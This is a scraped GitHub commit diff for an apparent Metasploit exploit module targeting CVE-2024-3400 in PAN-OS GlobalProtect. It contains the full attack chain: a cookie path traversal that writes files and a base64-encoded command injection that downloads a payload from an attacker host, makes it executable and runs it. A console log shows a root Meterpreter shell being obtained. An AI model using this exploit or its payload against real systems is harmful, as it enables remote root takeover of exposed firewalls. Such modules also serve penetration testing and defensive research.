You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
< 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to
8
+
one hour to execute, depending on how often the telemetry service is set to run.
9
+
10
+
For a technical analysis of the vulnerability, read our [Rapid7 Analysis](https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis).
11
+
12
+
## Testing
13
+
Boot a vulnerable PAN-OS VM or device, then authenticate to the management web service with default credentials. From the
14
+
web dashboard, configure a GlobalProtect [Portal](https://docs.paloaltonetworks.com/globalprotect/10-1/globalprotect-admin/globalprotect-portals/set-up-access-to-the-globalprotect-portal)
[+] 192.168.50.226:443 - The target is vulnerable. Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/glyphicons-ipteqmbl-regular.woff2 NOTE: This file will not be deleted
[*] Started reverse TCP handler on 192.168.50.25:8585
94
+
[*] Running automatic check ("set AutoCheck false" to disable)
95
+
[+] The target is vulnerable. Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/glyphicons-ikxrpbmq-regular.woff2 NOTE: This file will not be deleted
96
+
[*] Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload
97
+
[*] Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled
98
+
[*] Meterpreter session 1 opened (192.168.50.25:8585 -> 192.168.50.216:48310) at 2024-04-18 14:53:09 -0500
99
+
[!] This exploit may require manual cleanup of '/opt/panlogs/tmp/device_telemetry/minute/lyne`echo${IFS}-n${IFS}d2dldCAtcU8gL3Zhci90bXAvdWdWZlhXUnhWIGh0dHA6Ly8xOTIuMTY4LjUwLjI1OjgwODAvcUpPXzJ2MUFPVkRIc2hsVVIyRHVzQTsgY2htb2QgK3ggL3Zhci90bXAvdWdWZlhXUnhWOyAvdmFyL3RtcC91Z1ZmWFdSeFYgJg==|base64${IFS}-d|bash${IFS}-`' on the target
100
+
101
+
meterpreter > getuid
102
+
Server username: root
103
+
meterpreter > sysinfo
104
+
Computer : 192.168.50.216
105
+
OS : CentOS 8.3.2011 (Linux 4.18.0-240.1.1.20.pan.x86_64)
['URL','https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/']# Initial Volexity report of the 0day exploitation
35
+
['URL','https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/'],# Initial Volexity report of the 0day exploitation
# Try to create a new empty file in an accessible directory with the exploit primitive
80
+
# This file name was chosen because an extension in (css|js|eot|woff|woff2|ttf) is required for correct NGINX routing, and similarly named files already exist in the 'fonts' directory
CheckCode::Vulnerable("Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name} NOTE: This file will not be deleted")
113
104
end
114
105
115
106
deftouch_file(file)
116
107
# Exploit primitive similar to `touch`, creating an empty file owned by root in the specified location
108
+
fail_with(Failure::BadConfig,'Semicolon cannot be present in file name, due to the cookie injection context')iffile.include?';'
109
+
117
110
send_request_cgi(
118
111
'method'=>'GET',
119
112
'uri'=>normalize_uri(target_uri.path),
120
113
'headers'=>{
121
114
'Cookie'=>"SESSID=./../../../..#{file}"
122
115
}
123
116
)
124
-
print_status("Touched file: #{file}")
125
117
end
126
118
127
119
defexploit
128
-
execute_command(payload.encoded)
129
-
print_status('Starting staged payload server. Depending on the version, it may take the telemetry service up to one hour to execute the payload.')
120
+
# Encode the shell command payload as base64, then embed it in the appropriate exploitation context
121
+
# Since payloads cannot contain spaces, ${IFS} is used as a separator
# Must register for clean up here instead of within touch_file, since touch_file is used in the check
137
+
register_file_for_cleanup(file_path)
138
+
end
139
+
140
+
print_status('Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload')
141
+
print_status('Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled')
0 commit comments